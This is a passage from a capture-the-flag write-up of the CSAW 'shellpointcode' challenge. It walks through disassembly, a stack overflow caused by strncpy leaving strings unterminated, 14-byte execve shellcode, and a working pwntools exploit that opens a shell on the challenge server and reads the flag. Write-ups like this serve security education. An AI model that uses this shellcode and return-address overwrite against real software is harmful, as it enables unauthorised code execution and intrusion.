Now, it calls readline function twice with different buffers and 0xF as parameters. It is obviously filling nodes’ buffers. Afterwards, it calls the goodbye function which must be the one that asks for our initials. Before getting to the goodbye function, let’s see how the readline function is implemented.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

[0x00000720]>pdf@sym.readline

/(fcn)sym.readline76

|sym.readline();

|; var int local_20h @ rbp-0x20

|; var int local_18h @ rbp-0x18

|; var int local_10h @ rbp-0x10

|; var int local_8h @ rbp-0x8

|; CALL XREF from 0x0000091b (sym.nononode)

|; CALL XREF from 0x0000093c (sym.nononode)

|0x0000085c55pushrbp

|0x0000085d4889e5movrbp,rsp

|0x000008604883ec20subrsp,0x20

|0x0000086448897de8movqword[local_18h],rdi

|0x00000868488975e0movqword[local_20h],rsi

|0x0000086c48c745f80000.movqword[local_8h],0

|0x00000874488b15a50720.movrdx,qword[obj.stdin]; [0x201020:8]=0

|0x0000087b488d4df0learcx,qword[local_10h]

|0x0000087f488d45f8learax,qword[local_8h]

|0x000008834889cemovrsi,rcx

|0x000008864889c7movrdi,rax

|0x00000889e872feffffcallsym.imp.getline

|0x0000088e488b4df8movrcx,qword[local_8h]

|0x00000892488b55e0movrdx,qword[local_20h]

|0x00000896488b45e8movrax,qword[local_18h]

|0x0000089a4889cemovrsi,rcx

|0x0000089d4889c7movrdi,rax

|0x000008a0e80bfeffffcallsym.imp.strncpy; sym.imp.getline-0x50

|0x000008a590nop

|0x000008a6c9leave

\0x000008a7c3ret

It reads a line and copies up to first 15 bytes of it to the buffer. However, we know from its documentation that strncpy function does not append a null byte which means the 15th byte does not need to be null. Let’s move on to the goodbye function.

We notice that the second node’s address does not point to its buffer directly. Also, we see that our first node’s buffer is located at 0x7fffffffe0e8 which is 0x28 bytes further then the first node’s address. And, just above it, we have the second node’s address. Therefore, we can guess the structure of node as:

1

2

3

4

structNode{

Node*next;

charbuffer[16];

}

Now, we now that we can modify the return address thanks to this fgets call, and we also know the first node’s buffer address since we have a known address from the stack which allows us to calculate other addresses from the stack using offsets. We can place a shellcode on the first node’s buffer. However, the buffer is too short. 15 bytes are not enough to write a 64-bit shellcode. However, instead of trying to write “/bin/sh” string to the stack in the shellcode, we can just place that string in the second node’s buffer. Then, we can just pop it into rdi. We also need to set rax to 59 and we need to make sure that rdx and rsi are 0. Let’s write the shellcode and calculate how many bytes it requires.

shellcode.asm

Assembly (x86)

1

2

3

4

5

6

7

8

9

10

global_start

_start:

xorrax,rax

pushrax

poprsi

cdq

poprdi

movrdi,rsp

moval,59

syscall

We also need to make sure that our shellcode does not contain 0x0A or 0x00 bytes. 0x0A causes readline to stop and 0x00 stops the strncpy function.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

$nasm-felf64./shellcode.asm

$objdump-D./shellcode.o

./shellcode.o:fileformatelf64-x86-64

Disassemblyofsection.text:

0000000000000000<_start>:

0:4831c0xor%rax,%rax

3:50push%rax

4:5epop%rsi

5:99cltd

6:5fpop%rdi

7:4889e7mov%rsp,%rdi

a:b03bmov$0x3b,%al

c:0f05syscall

Great! It is 14 bytes and does not contain 0x00 or 0x0A. Now, we have all the information that is required to create our exploit. Here is the exploit I wrote in python:

exploit.py

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

#!/usr/bin/env python

frompwn import*

p='\x48\x31\xc0\x50\x5e\x99\x5f\x48\x89\xe7\xb0\x3b\x0f\x05'

r=remote('pwn.chal.csaw.io',9005)

r.recvlines(4)

r.sendline(p)

r.recvline()

r.sendline('/bin/sh'+'\x00')

r.recvuntil('node.next: ')

leak=int(r.recvline(False),16)

buf=leak+0x28

r.recvlines(3)

r.sendline('A'*11+p64(buf))

r.recvline()

r.interactive()

Let’s run the exploit.

1

2

3

4

5

6

7

8

$./exploit.py

[+]Opening connection topwn.chal.csaw.io on port9005:Done

[*]Switching tointeractive mode

$ls

flag.txt

shellpointcode

$cat flag.txt

flag{NONONODE_YOU_WRECKED_BRO}

Here we have flag{NONONODE_YOU_WRECKED_BRO}.

Umut Barış Öztunç

Security researcher who participates in Capture The Flag events, also the founder of BreakPoint CTF team.